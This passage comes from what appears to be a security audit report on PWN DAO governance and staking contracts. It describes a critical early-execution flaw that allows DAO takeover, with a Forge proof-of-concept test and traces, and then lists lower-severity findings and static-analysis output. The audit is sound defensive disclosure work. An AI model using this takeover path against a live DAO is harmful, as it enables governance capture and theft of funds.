            vote(proposalId, _voteOption, _tryEarlyExecution);
        }
    }
```

The `Action[] calldata _actions` input argument allows you to execute an array of up to 256 `Action` items in a single transaction within the gas limitations of the Ethereum virtual machine (EVM). This is important so that several calls can be executed in a strict order within a single transaction.
It is possible to observe, though, that immediately before the end of the function scope, if the `VoteOption` is different from `None` (which is the default value for this `Enum`), the `createProposal` function automatically casts a vote, by calling the `vote` function, which subsequently calls the internal `_vote` function within its execution flow, as follows:
- src/governance/token/PWNTokenGovernancePlugin.sol [Lines: 350-358]

```
    function vote(uint256 _proposalId, VoteOption _voteOption, bool
_tryEarlyExecution) public {
        address _voter = _msgSender();

        (bool canVote_, uint256 votingPower) = _canVote(_proposalId,
_voter, _voteOption);
        if (!canVote_) {
            revert VoteCastForbidden({ proposalId: _proposalId, account:
_voter, voteOption: _voteOption });
        }
        _vote(_proposalId, _voteOption, _voter, votingPower,
_tryEarlyExecution);
    }
```

- src/governance/token/PWNTokenGovernancePlugin.sol [Lines: 579-620]

```
    function _vote(
        uint256 _proposalId,
        VoteOption _voteOption,
        address _voter,
        uint256 _votingPower,
        bool _tryEarlyExecution
    ) internal {
        Proposal storage proposal_ = proposals[_proposalId];

        VoteOption state = proposal_.voters[_voter];

        // if voter had previously voted, decrease count
        if (state == VoteOption.Yes) {
            proposal_.tally.yes = proposal_.tally.yes - _votingPower;
        } else if (state == VoteOption.No) {
            proposal_.tally.no = proposal_.tally.no - _votingPower;
        } else if (state == VoteOption.Abstain) {
            proposal_.tally.abstain = proposal_.tally.abstain -
_votingPower;
        }
```

```
        // write the updated/new vote for the voter
        if (_voteOption == VoteOption.Yes) {
            proposal_.tally.yes = proposal_.tally.yes + _votingPower;
        } else if (_voteOption == VoteOption.No) {
            proposal_.tally.no = proposal_.tally.no + _votingPower;
        } else if (_voteOption == VoteOption.Abstain) {
            proposal_.tally.abstain = proposal_.tally.abstain +
_votingPower;
        }

        proposal_.voters[_voter] = _voteOption;

        emit VoteCast({
            proposalId: _proposalId,
            voter: _voter,
            voteOption: _voteOption,
            votingPower: _votingPower
        });

        if (_tryEarlyExecution && _canExecute(_proposalId)) {
            _execute(_proposalId);
        }
    }
```

From the analysis of both external and internal voting functions, which are used to cast a vote, it can be observed that if the parameter `_tryEarlyExecution` is set to `true` (which is the case), the other verification relies on the return of the internal function `_canExecute`, and if it returns `true`, the internal `_execute` function is called to proceed the proposal execution.
The scope of the internal `_canExecute` function is analyzed below, focusing on the cases where the voting mode is indeed `EarlyExecution`, which will verify `isSupportThresholdReachedEarly` that is another condition to allow early execution.
- src/governance/token/PWNTokenGovernancePlugin.sol [Lines: 626-653]

```
    function _canExecute(uint256 _proposalId) internal view returns
(bool) {
        Proposal storage proposal_ = proposals[_proposalId];

        // Verify that the vote has not been executed already.
        if (proposal_.executed) {
            return false;
        }

        if (_isProposalOpen(proposal_)) {
            // Early execution
            if (proposal_.parameters.votingMode !=
VotingMode.EarlyExecution) {
```

```
                return false;
            }
            if (!isSupportThresholdReachedEarly(_proposalId)) {
                return false;
            }
        } else {
            // Normal execution
            if (!isSupportThresholdReached(_proposalId)) {
                return false;
            }
        }
        if (!isMinParticipationReached(_proposalId)) {
            return false;
        }

        return true;
    }
```

- src/governance/token/PWNTokenGovernancePlugin.sol [Lines: 408-421]

```
    function isSupportThresholdReachedEarly(uint256 _proposalId) public
view returns (bool) {
        Proposal storage proposal_ = proposals[_proposalId];

        uint256 noVotesWorstCase =
totalVotingPower(proposal_.parameters.snapshotEpoch) -
            proposal_.tally.yes -
            proposal_.tally.abstain;

        // The code below implements the formula of the early execution
support criterion explained
        // in the top of this file.
        // `(1 - supportThreshold) * N_yes > supportThreshold *
N_no,worst-case`
        return
            (RATIO_BASE - proposal_.parameters.supportThreshold) *
proposal_.tally.yes >
            proposal_.parameters.supportThreshold * noVotesWorstCase;
    }
```

Accordingly, to the specification of the formula provided to verify if whether the `supportThreshold` was reached, any proposal which has 50% + 1 of the total calculated voting power for that epoch could be early executed because in even in the worst-case scenario from there, there wouldn't be enough voting power to overturn, once `supportThreshold` + 1 is reached.
It is also important to remember that users can have influence on their voting power, deliberately increasing it by locking `PWN` ERC-20 tokens in larger epoch windows, or with higher lock amounts.

This poses a critical security risk to the protocol for a variety of reasons. First, in scenarios where a single malicious entity could detain more than 50% of total voting power, for example, in the initial stages of the protocol.
Moving forward, there are no whitelist or blacklist of selectors or `calldatas` that could be objected to early execution, therefore enabling an attacker to craft malicious, bytes-encoded `calldata` that will be instantly executed. This may include, but is not limited to:

- Additional plugin set-up or uninstallation. This is particularly important because, by specification, the DAO will always need at least one active plugin in order to properly work. In cases where force uninstallation happens, there is the risk of the DAO getting bricked.
- Giving or removing permissions and roles to arbitrary addresses could lead to loss of power of administrators and take-over from bad actors.
- Calling arbitrary functions of external services such as `Uniswap`, `Compound`, etc.
- Calling arbitrary functions of the `Aragon OSx` protocol infrastructure.

Considering that in the moment of a proposal creation (function `createProposal`), it is possible to execute an array of `_actions` (composed by multiple instances of `Action` structs), a single call could be able to execute an array of malicious calldatas, and therefore, accomplish the total takeover of the DAO.

Proof of Concept

Forge test:

```
    function test_single_voter_early_execution() external {
        bytes32 settingsValue = vm.load(address(plugin),
GOVERNANCE_SETTINGS_SLOT);
        vm.store(
            address(plugin),
            GOVERNANCE_SETTINGS_SLOT,
            settingsValue |
bytes32(uint256(IPWNTokenGovernance.VotingMode.EarlyExecution))
        );
        vm.mockCall(
            votingToken,
            abi.encodeWithSelector(IVotesUpgradeable.getVotes.selector,
proposer),
            abi.encode(pastTotalSupply / 2 + 1) // supportThreshold is
50%
        );
        vm.mockCall(
            votingToken,

abi.encodeWithSelector(IVotesUpgradeable.getPastVotes.selector,
proposer),
            abi.encode(pastTotalSupply / 2 + 1) // supportThreshold is
50%
        );
```

```
        vm.prank(proposer);
        uint256 proposalId = plugin.createProposal({
            _metadata: "",
            _actions: actions,
            _allowFailureMap: 0,
            _startDate: 0,
            _endDate: 0,
            _voteOption: IPWNTokenGovernance.VoteOption.Yes,
            _tryEarlyExecution: true
        });

        bytes32 executed = vm.load(address(plugin),
 PROPOSALS_SLOT.withMappingKey(proposalId));
        assertEq(uint256(executed), 1);
    }
```

Traces:

```
  [204746]
PWNTokenGovernancePlugin_CreateProposal_Test::test_single_voter_early_execution()
    ├─ [0] VM::load(Token Plugin: [0x2e234DAe75C793f67A35089C9d99245E1C58470b],
0x0000000000000000000000000000000000000000000000000000000000000162) [staticcall]
    │   └─ ← 0x0000000000000000000000000000000000000000015180000186a00007a12000
    ├─ [0] VM::store(Token Plugin: [0x2e234DAe75C793f67A35089C9d99245E1C58470b],
0x0000000000000000000000000000000000000000000000000000000000000162,
0x0000000000000000000000000000000000000000015180000186a00007a12001)
    │   └─ ← ()
    ├─ [0] VM::mockCall(Voting Token: [0x10E784432779BeE9C6efa960dcF850e6F107DDc7],
0x9ab24eb0000000000000000000000006bef539e8319dacba4c2dad055006e79682c0f32,
0x00000000000000000000000000000000000000000000002b5e3af16b1880001)
    │   └─ ← ()
    ├─ [0] VM::mockCall(Voting Token: [0x10E784432779BeE9C6efa960dcF850e6F107DDc7],
0x3a46b1a8000000000000000000000006bef539e8319dacba4c2dad055006e79682c0f32,
0x00000000000000000000000000000000000000000000002b5e3af16b1880001)
    │   └─ ← ()
    ├─ [0] VM::prank(Proposer: [0x6bEf539e8319dACba4C2DaD055006E79682C0f32])
    │   └─ ← ()
    ├─ [184504] Token Plugin::createProposal(0x, [], 0, 0, 0, 2, true)
    │   ├─ [179561] Token Plugin Impl::createProposal(0x, [], 0, 0, 0, 2, true)
[delegatecall]
    │   │   ├─ [0] Voting Token::getVotes(Proposer:
[0x6bEf539e8319dACba4C2DaD055006E79682C0f32]) [staticcall]
    │   │   │   └─ ← 5000000000000000001 [5e19]
    │   │   ├─ [0] Epoch Clock::currentEpoch() [staticcall]
    │   │   │   └─ ← 1
    │   │   ├─ [0] Voting Token::getPastTotalSupply(1) [staticcall]
```

```
    |   |   |   └─ ← 10000000000000000000 [1e20]
    |   |   ├─ emit ProposalCreated(proposalId: 0, creator: Proposer:
[0x6bEf539e8319dACba4C2DaD055006E79682C0f32], startDate: 1, endDate: 86401 [8.64e4],
metadata: 0x, actions: [], allowFailureMap: 0)
    |   |   ├─ [0] rewardToken::assignProposalReward(0)
    |   |   |   └─ ←
0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000
0000000000000000000000000000000000000000000000
    |   |   ├─ [0] Voting Token::getPastVotes(Proposer:
[0x6bEf539e8319dACba4C2DaD055006E79682C0f32], 1) [staticcall]
    |   |   |   └─ ← 5000000000000000001 [5e19]
    |   |   ├─ emit VoteCast(proposalId: 0, voter: Proposer:
[0x6bEf539e8319dACba4C2DaD055006E79682C0f32], voteOption: 2, votingPower:
5000000000000000001 [5e19])
    |   |   ├─ [0] Voting Token::getPastTotalSupply(1) [staticcall]
    |   |   |   └─ ← 10000000000000000000 [1e20]
    |   |   ├─ [0]
DAO::execute(0x0000000000000000000000000000000000000000000000000000000000000000, [],
0)
    |   |   |   └─ ← [], 0
    |   |   ├─ emit ProposalExecuted(proposalId: 0)
    |   |   └─ ← 0
    |   └─ ← 0
    ├─ [0] VM::load(Token Plugin: [0x2e234DAe75C793f67A35089C9d99245E1C58470b],
0x982a45c0d657ffdc04d7f0ba3fddd3312473ad5e129c54434a0935688d2bb231) [staticcall]
    |   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    ├─ [0] VM::assertEq(1, 1) [staticcall]
    |   └─ ← ()
    └─ ← ()
```

BVSS

AO:A/AC:M/AX:H/R:N/S:C/C:H/A:H/I:H/D:H/Y:H (4.2)

Recommendation

The following remediation steps are recommended:

- **Introduce a whitelist or blacklist for selectors and call data:** Create a whitelist or blacklist of allowed or disallowed selectors and call data that can be the subject of early execution. This will prevent attackers from crafting malicious, bytes-encoded call data that can be instantly executed.

```
mapping (bytes4 => bool) public allowedSelectors;
```

- **Modify the `canExecute` function to check against the whitelist or blacklist:** Update the `canExecute` function to check if the selector and call data of the proposal actions are included in the whitelist or not included in the blacklist before proceeding with early execution.

```
function _canExecute(uint256 _proposalId) internal view returns (bool) {
    // ... existing checks

    Proposal storage proposal_ = proposals[_proposalId];
    for (uint256 i = 0; i < proposal_.actions.length; i++) {
        Action memory action = proposal_.actions[i];
        if (!allowedSelectors[action.to.callData.selector]) {
            return false;
        }
    }

    return true;
}
```

- **Limit the number of actions allowed in a single proposal:** Restrict the number of actions allowed in a single proposal to prevent an attacker from executing an array of malicious call data and taking over the DAO.

```
uint256 public maxActionsPerProposal;

function createProposal(
    // ... existing parameters
    IDAO.Action[] calldata _actions,
    // ... remaining parameters
) external returns (uint256 proposalId) {
    // ... existing checks

    if (_actions.length > maxActionsPerProposal) {
        revert TooManyActions();
    }

    // ... rest of the function
}
```

- **Implement a time lock or higher voting power threshold for early execution:** Introduce a time lock or a higher voting power threshold for early execution to prevent a single malicious entity from executing proposals immediately after creation. This will provide additional security against potential attacks, especially during the initial stages of the protocol.

By promoting these measures, the risks of an attacker with enough voting power to create and early execute proposals are significantly reduced.

Remediation Plan

SOLVED: The **PWN team** solved the issue on the commit id `8e0c6e9b1b3412e7068fa8efcdda0b533925985c` by removing the Early Execution mechanism.

Remediation Hash

8e0c6e9b1b3412e7068fa8efcdda0b533925985c

4.3 (HAL-04) UNSAFE ERC-721 OPERATIONS

// LOW

Description

The ERC721 non-fungible token (NFT) standard contracts, used for tracking voting power in this context, may contain an unsafe minting operation when using the `_mint()` function. This function allows the creation of new NFTs and assigns them to a specified address. However, it lacks built-in checks to verify whether the recipient address is capable of receiving NFTs or if it can handle the ERC721 standard.
In cases where the recipient address is a smart contract that hasn't implemented the ERC721Receiver contract or lacks the `onERC721Received()` function, the contract may not be able to process incoming NFTs correctly. This could lead to unintended behavior, such as the NFTs becoming stuck in the recipient contract, resulting in the inability to retrieve or further transfer them.
Although this issue may not directly result in the loss of assets with monetary value, it can still negatively impact the functionality and usability of the voting system. The inability to properly transfer NFTs representing voting power could lead to the disruption of the voting process, uneven distribution of voting power, or even the denial of voting rights for some users.
- src/token/StakedPWN.sol [Line: 78]

```
_mint(to, tokenId);
```

BVSS

AO:A/AC:L/AX:L/C:N/I:L/A:N/D:N/Y:N/R:N/S:U (2.5)

Recommendation

To mitigate this risk, it is strongly recommended to use the `_safeMint()` function provided by OpenZeppelin's ERC721 library. The `_safeMint()` function includes additional checks to ensure that the recipient address is capable of receiving and handling ERC721 tokens. By incorporating this function into your smart contracts, you can significantly reduce the likelihood of unintended behavior and enhance the overall security of your ERC721-based NFTs.

Remediation Plan

RISK ACCEPTED: The **PWN team** accepted the risk related to this issue.

4.4 (HAL-10) REMOVE EIP-20 NON-COMPLIANT FUNCTIONS

// LOW

Description

Considering both functions `increaseAllowance` and `decreaseAllowance` are non-compliant to EIP-20, and therefore their usage is not recommended, unless strictly required by the smart contract's functionality. It's already known in the community that these functions may allow bad actors to execute less traditional phishing attacks - instead of the common `approve` or `permit` methods.

BVSS

AO:A/AC:L/AX:L/C:N/I:L/A:N/D:N/Y:N/R:N/S:U (2.5)

Recommendation

Consider overriding both `increaseAllowance` and `decreaseAllowance` functions in order to avoid less-common phishing attacks. The following approach would disable both functions that are non-compliant with EIP-20 specifications.

```
    function increaseAllowance(address spender, uint256 addedValue)
public virtual override(ERC20) returns (bool) {
        return false;
    }

    function decreaseAllowance(address spender, uint256 addedValue)
public virtual override(ERC20) returns (bool) {
        return false;
    }
```

Remediation Plan

SOLVED: The **PWN team** solved the issue on the commit id `2a1c924b64d700970c52e0616ed315e58dcda3f9`.

Remediation Hash

2a1c924b64d700970c52e0616ed315e58dcda3f9

4.5 (HAL-03) UNSAFE ERC-20 OPERATIONS

// INFORMATIONAL

Description

The ERC-20 token standard contracts may contain functions that could behave unexpectedly, leading to potential vulnerabilities. One such issue is the inconsistent behavior of return values, which may not always provide accurate or meaningful information. This could result in misinterpretation of transaction results, leading to unintended consequences such as token loss or unauthorized access.

- src/token/vePWN/VoteEscrowedPWNStake.sol [Line: 128]

```
            pwnToken.transferFrom(staker, address(this), amount);
```

- src/token/vePWN/VoteEscrowedPWNStake.sol [Line: 303]

```
                pwnToken.transferFrom(staker, address(this),
 additionalAmount);
```

- src/token/vePWN/VoteEscrowedPWNStake.sol [Line: 332]

```
            pwnToken.transfer(staker, stake.amount);
```

BVSS

AO:A/AC:L/AX:L/C:N/I:L/A:N/D:N/Y:N/R:P/S:U (1.3)

Recommendation

To mitigate these risks, it is strongly recommended to utilize well-tested and audited libraries like OpenZeppelin's SafeERC20. This library provides a set of secure and reliable functions for performing ERC-20 operations, ensuring that the return values are consistently interpreted and that the transactions are executed as intended. By incorporating SafeERC20, developers can significantly reduce the likelihood of unintended behavior and enhance the overall security of their smart contracts.

Remediation Plan

ACKNOWLEDGED: The **PWN team** acknowledged this issue.

4.6 (HAL-05) OUTDATED COMPILER VERSION

// INFORMATIONAL

Description

It was identified an outdated compiler version.
As from the official Solidity documentation, it is recommended to use the latest released version of Solidity.
It was identified that the contracts in the set under analysis are using solc version `0.8.18`, hence, outdated, considering the current Solidity compiler (solc) version is `0.8.25`.

Score

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:C (0.0)

Recommendation

Update to the most recent version of Solidity (0.8.25), by changing the pragma as follows:

```
pragma solidity 0.8.25;
```

Remediation Plan

SOLVED: The **PWN team** solved this issue on commit id `4960d6777058ac90040f459c436891f40f32f2bc`, by updating the compiler version.

Remediation Hash

4960d6777058ac90040f459c436891f40f32f2bc

4.7 (HAL-06) FLOATING PRAGMA DETECTED

// INFORMATIONAL

Description

Contracts should be deployed with the same compiler version and flags that they have been tested with thoroughly. Locking the pragma helps to ensure that contracts do not accidentally get deployed using, for example, an outdated compiler version that might introduce bugs that affect the contract system negatively.

- src/governance/optimistic/IPWNOptimisticGovernance.sol [Line: 2]

```
pragma solidity ^0.8.17;
```

- src/governance/token/IPWNTokenGovernance.sol [Line: 2]

```
pragma solidity ^0.8.17;
```

- src/interfaces/IERC6372.sol [Line: 4]

```
pragma solidity ^0.8.0;
```

- src/interfaces/IPWNEpochClock.sol [Line: 2]

```
pragma solidity ^0.8.0;
```

- src/interfaces/IRewardToken.sol [Line: 2]

```
pragma solidity ^0.8.0;
```

- src/lib/BitMaskLib.sol [Line: 2]

```
pragma solidity ^0.8.0;
```

- src/lib/SlotComputingLib.sol [Line: 2]

```
pragma solidity ^0.8.0;
```

Score

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:C (0.0)

Recommendation

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.20;`, use `pragma solidity 0.8.25;`.

Remediation Plan

ACKNOWLEDGED: The **PWN team** acknowledged this issue.

4.8 (HAL-07) MISSING CHECKS FOR ADDRESS(0)

// INFORMATIONAL

Description

In some of the smart contracts in-scope, values are assigned to address state variables without checking whether the assigned address is the zero address (`address(0)`). This oversight can lead to unintended behavior and potential security vulnerabilities in the contract.

- src/governance/optimistic/PWNOptimisticGovernancePlugin.sol [Line: 177]

```
        epochClock = _epochClock;
```

- src/governance/optimistic/PWNOptimisticGovernancePlugin.sol [Line: 178]

```
        votingToken = _votingToken;
```

- src/governance/token/PWNTokenGovernancePlugin.sol [Line: 267]

```
        epochClock = _epochClock;
```

- src/governance/token/PWNTokenGovernancePlugin.sol [Line: 268]

```
        votingToken = _votingToken;
```

- src/governance/token/PWNTokenGovernancePlugin.sol [Line: 269]

```
        rewardToken = _rewardToken;
```

Score

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:C (0.0)

Recommendation

To prevent unintended behavior and potential security vulnerabilities, it is essential to include checks for `address(0)` when assigning values to address state variables. This can be achieved by adding a simple check to ensure that the assigned address is not equal to `address(0)` before proceeding with the assignment.

Remediation Plan

ACKNOWLEDGED: The **PWN team** acknowledged this issue.

4.9 (HAL-08) PRESENCE OF MAGIC NUMBERS

// INFORMATIONAL

Description

The smart contracts related to the `VoteEscrowedPWNToken` (`vePWN` token) have been identified to use many magic numbers (literals) instead of constants. Magic numbers are direct numerical or string values used in the code without any explanation or context. This practice can lead to code maintainability issues, potential errors, and difficulty in understanding the code's logic.

Score

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:C (0.0)

Recommendation

To improve code maintainability, readability, and reduce the risk of potential errors, it is recommended to replace magic numbers with well-defined constants. By using constants, developers can provide clear and descriptive names for specific values, making the code easier to understand and maintain. Additionally, updating the values becomes more straightforward, as changes can be made in a single location, reducing the risk of errors and inconsistencies.

Remediation Plan

ACKNOWLEDGED: The **PWN team** acknowledged this issue.

4.10 (HAL-09) EVENTS ARE MISSING `INDEXED` ATTRIBUTE

// INFORMATIONAL

Description

Indexed event fields make the data more quickly accessible to off-chain tools that parse events, and add them to a special data structure known as “topics” instead of the data part of the log. A topic can only hold a single word (32 bytes) so if you use a reference type for an indexed argument, the Keccak-256 hash of the value is stored as a topic instead.
Each event can use up to three indexed fields. If there are fewer than three fields, all the fields can be indexed. It is important to note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed fields per event (three indexed fields).
This is specially recommended when gas usage is not particularly of concern for the emission of the events in question, and the benefits of querying those fields in an easier and straight-forward manner surpasses the downsides of gas usage increase.
- src/governance/optimistic/PWNOptimisticGovernancePlugin.sol [Line: 108]

```
        event OptimisticGovernanceSettingsUpdated(
```

- src/governance/optimistic/PWNOptimisticGovernancePlugin.sol [Line: 117]

```
        event VetoCast(
```

- src/governance/token/PWNTokenGovernancePlugin.sol [Line: 194]

```
        event VoteCast(
```

- src/governance/token/PWNTokenGovernancePlugin.sol [Line: 207]

```
        event TokenGovernanceSettingsUpdated(
```

- src/token/PWN.sol [Line: 56]

```
        event VotingRewardSet(address indexed votingContract, uint256
votingReward);
```

- src/token/PWN.sol [Line: 62]

```
        event ProposalRewardAssigned(
```

- src/token/vePWN/VoteEscrowedPWNStake.sol [Line: 24]

```
        event StakeCreated(
```

- src/token/vePWN/VoteEscrowedPWNStake.sol [Line: 38]

```
        event StakeSplit(
```

- src/token/vePWN/VoteEscrowedPWNStake.sol [Line: 71]

```
        event StakeIncreased(
```

- src/token/vePWN/VoteEscrowedPWNStake.sol [Line: 85]

```
        event StakeWithdrawn(
```

Score

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:C (0.0)

Recommendation

It is recommended to add the `indexed` keyword when declaring events, considering the following example:

```
    event Indexed(
        address indexed from,
        bytes32 indexed id,
        uint indexed value
    );
```

Remediation Plan

ACKNOWLEDGED: The **PWN team** acknowledged this issue.

4.11 (HAL-14) NEW OPCODES ARE NOT SUPPORTED BY ALL CHAINS (SOLIDITY VERSION >= 0.8.20)

// INFORMATIONAL

Description

Solc compiler `version 0.8.20` switches the default target EVM version to Shanghai. The generated bytecode will include **PUSH0** opcodes. The recently released Solc compiler `version 0.8.25` switches the default target EVM version to Cancun, so it is also important to note that it also adds-up new opcodes such as **TSTORE**, **TLOAD** and **MCOPY**.
Be sure to select the appropriate EVM version in case you intend to deploy on a chain apart from mainnet like L2 chains that may not support **PUSH0**, **TSTORE**, **TLOAD** and/or **MCOPY**, otherwise deployment of your contracts will fail.

Score

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:C (0.0)

Recommendation

It is important to consider the targeted deployment chains before writing immutable contracts because, in the future, there might exist a need for deploying the contracts in a network that could not support new opcodes from Shanghai or Cancun EVM versions.

Remediation Plan

ACKNOWLEDGED: The **PWN team** acknowledged this issue.

5. AUTOMATED TESTING

Introduction

Halborn used automated testing techniques to enhance the coverage of certain areas of the smart contracts in scope. Among the tools used was Slither, a Solidity static analysis framework. After Halborn verified the smart contracts in the repository and was able to compile them correctly into their abis and binary format, Slither was run against the contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.

The security team assessed all findings identified by the Slither software, however, findings with severity `Information` and `Optimization` are not included in the below results for the sake of report readability.

```
INFO:Detectors:
VoteEscrowedPwNStake.createStake(uint256,uint256) (src/token/vePWN/VoteEscrowedPwNStake.sol#101-132) ignores return value by pwnToken.transferFrom(staker,address(this),amount) (src/token/vePWN/VoteEscrowedPwNStake.sol#128)
VoteEscrowedPwNStake.increaseStake(uint256,uint256,uint256) (src/token/vePWN/VoteEscrowedPwNStake.sol#240-310) ignores return value by pwnToken.transferFrom(staker,address(this),additionalAmount) (src/token/vePWN/VoteEscrowedPwNStake.sol#303)
VoteEscrowedPwNStake.withdrawStake(uint256) (src/token/vePWN/VoteEscrowedPwNStake.sol#315-336) ignores return value by pwnToken.transfer(staker,stake.amount) (src/token/vePWN/VoteEscrowedPwNStake.sol#332)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unchecked-transfer
INFO:Detectors:
StakedPwN._ownedTokensInEpochs (src/token/StakedPWN.sol#37) is never initialized. It is used in:
        - StakedPWN.ownedTokensInEpochs(address) (src/token/StakedPWN.sol#109-111)
        - StakedPWN.ownedTokenIdsAt(address,uint16) (src/token/StakedPWN.sol#116-142)
        - StakedPWN._addIdToOwner(address,uint256,uint16) (src/token/StakedPWN.sol#182-200)
        - StakedPWN._removeIdFromOwner(address,uint256,uint16) (src/token/StakedPWN.sol#202-214)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#uninitialized-state-variables
INFO:Detectors:
Reentrancy in PWNTokenGovernancePlugin.createProposal(bytes,IDAO.Action[],uint256,uint64,uint64,IPWNTokenGovernance.VoteOption,bool) (src/governance/token/PWNTokenGovernancePlugin.sol#281-347):
        External calls:
        - rewardToken.assignProposalReward(proposalId) (src/governance/token/PWNTokenGovernancePlugin.sol#342)
        - vote(proposalId,_voteOption,_tryEarlyExecution) (src/governance/token/PWNTokenGovernancePlugin.sol#345)
                - (execResults,failureMap) = _dao.execute(bytes32(_proposalId),_actions,_allowFailureMap) (lib/osx/packages/contracts/src/core/plugin/proposal/ProposalUpgradeable.sol#78)
        State variables written after the call(s):
        - vote(proposalId,_voteOption,_tryEarlyExecution) (src/governance/token/PWNTokenGovernancePlugin.sol#345)
                - proposals[_proposalId].executed = true (src/governance/token/PWNTokenGovernancePlugin.sol#658)
                - proposal_.tally.yes = proposal_.tally.yes + _votingPower (src/governance/token/PWNTokenGovernancePlugin.sol#592)
                - proposal_.tally.no = proposal_.tally.no + _votingPower (src/governance/token/PWNTokenGovernancePlugin.sol#594)
                - proposal_.tally.abstain = proposal_.tally.abstain + _votingPower (src/governance/token/PWNTokenGovernancePlugin.sol#596)
                - proposal_.tally.yes = proposal_.tally.yes + _votingPower (src/governance/token/PWNTokenGovernancePlugin.sol#601)
                - proposal_.tally.no = proposal_.tally.no + _votingPower (src/governance/token/PWNTokenGovernancePlugin.sol#603)
                - proposal_.tally.abstain = proposal_.tally.abstain + _votingPower (src/governance/token/PWNTokenGovernancePlugin.sol#605)
                - proposal_.voters[_voter] = _voteOption (src/governance/token/PWNTokenGovernancePlugin.sol#608)
        PWNTokenGovernancePlugin.proposals (src/governance/token/PWNTokenGovernancePlugin.sol  Open file in editor (cmd + click)  tion reentrancies:
        - PWNTokenGovernancePlugin._canExecute(uint256) (src/governance/token/PWNTokenGoverna
        - PWNTokenGovernancePlugin._canVote(uint256,address,IPWNTokenGovernance.VoteOption) (src/governance/token/PWNTokenGovernancePlugin.sol#544-576)
        - PWNTokenGovernancePlugin._execute(uint256) (src/governance/token/PWNTokenGovernancePlugin.sol#657-666)
        - PWNTokenGovernancePlugin._vote(uint256,IPWNTokenGovernance.VoteOption,address,uint256,bool) (src/governance/token/PWNTokenGovernancePlugin.sol#579-620)
        - PWNTokenGovernancePlugin.createProposal(bytes,IDAO.Action[],uint256,uint64,uint64,IPWNTokenGovernance.VoteOption,bool) (src/governance/token/PWNTokenGovernancePlugin.sol#281-347)
        - PWNTokenGovernancePlugin.getProposal(uint256) (src/governance/token/PWNTokenGovernancePlugin.sol#374-394)
        - PWNTokenGovernancePlugin.getVoteOption(uint256,address) (src/governance/token/PWNTokenGovernancePlugin.sol#449-451)
        - PWNTokenGovernancePlugin.isMinParticipationReached(uint256) (src/governance/token/PWNTokenGovernancePlugin.sol#424-432)
        - PWNTokenGovernancePlugin.isSupportThresholdReached(uint256) (src/governance/token/PWNTokenGovernancePlugin.sol#397-405)
        - PWNTokenGovernancePlugin.isSupportThresholdReachedEarly(uint256) (src/governance/token/PWNTokenGovernancePlugin.sol#408-421)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-1
INFO:Detectors:
Reentrancy in VoteEscrowedPwNStake.increaseStake(uint256,uint256,uint256) (src/token/vePWN/VoteEscrowedPwNStake.sol#240-310):
        External calls:
        - _deleteStake(stakeId) (src/token/vePWN/VoteEscrowedPwNStake.sol#296)
                - stakedPwN.burn(stakeId) (src/token/vePWN/VoteEscrowedPwNStake.sol#359)
        - newStakeId = _createStake(staker,newInitialEpoch,newAmount,newLockUpEpochs) (src/token/vePWN/VoteEscrowedPwNStake.sol#299)
                - stakedPwN.mint(staker,newStakeId) (src/token/vePWN/VoteEscrowedPwNStake.sol#354)
        State variables written after the call(s):
        - newStakeId = _createStake(staker,newInitialEpoch,newAmount,newLockUpEpochs) (src/token/vePWN/VoteEscrowedPwNStake.sol#299)
                - stake.initialEpoch = initialEpoch (src/token/vePWN/VoteEscrowedPwNStake.sol#350)
                - stake.amount = amount (src/token/vePWN/VoteEscrowedPwNStake.sol#351)
                - stake.lockUpEpochs = lockUpEpochs (src/token/vePWN/VoteEscrowedPwNStake.sol#352)
        VoteEscrowedPwNStorage.stakes (src/token/vePWN/VoteEscrowedPwNStorage.sol#52) can be used in cross function reentrancies:
        - VoteEscrowedPwNStake._createStake(address,uint16,uint104,uint8) (src/token/vePWN/VoteEscrowedPwNStake.sol#344-355)
        - VoteEscrowedPwNStake.increaseStake(uint256,uint256,uint256) (src/token/vePWN/VoteEscrowedPwNStake.sol#240-310)
        - VoteEscrowedPwNStake.mergeStakes(uint256,uint256) (src/token/vePWN/VoteEscrowedPwNStake.sol#186-229)
        - VoteEscrowedPwNStake.splitStake(uint256,uint256) (src/token/vePWN/VoteEscrowedPwNStake.sol#140-178)
        - VoteEscrowedPwNStorage.stakes (src/token/vePWN/VoteEscrowedPwNStorage.sol#52)
        - VoteEscrowedPwNStake.withdrawStake(uint256) (src/token/vePWN/VoteEscrowedPwNStake.sol#315-336)
Reentrancy in VoteEscrowedPwNStake.mergeStakes(uint256,uint256) (src/token/vePWN/VoteEscrowedPwNStake.sol#186-229):
        External calls:
        - _deleteStake(stakeId1) (src/token/vePWN/VoteEscrowedPwNStake.sol#220)
                - stakedPwN.burn(stakeId) (src/token/vePWN/VoteEscrowedPwNStake.sol#359)
        - _deleteStake(stakeId2) (src/token/vePWN/VoteEscrowedPwNStake.sol#221)
```

```
        - stakedPwN.burn(stakeId) (src/token/vePWN/VoteEscrowedPWNStake.sol#359)
    - newStakeId = _createStake(staker,newInitialEpoch,newAmount,newLockUpEpochs) (src/token/vePWN/VoteEscrowedPWNStake.sol#225)
        - stakedPwN.mint(staker,newStakeId) (src/token/vePWN/VoteEscrowedPWNStake.sol#354)
    State variables written after the call(s):
    - newStakeId = _createStake(staker,newInitialEpoch,newAmount,newLockUpEpochs) (src/token/vePWN/VoteEscrowedPWNStake.sol#225)
        - stake.initialEpoch = initialEpoch (src/token/vePWN/VoteEscrowedPWNStake.sol#350)
        - stake.amount = amount (src/token/vePWN/VoteEscrowedPWNStake.sol#351)
        - stake.lockUpEpochs = lockUpEpochs (src/token/vePWN/VoteEscrowedPWNStake.sol#352)
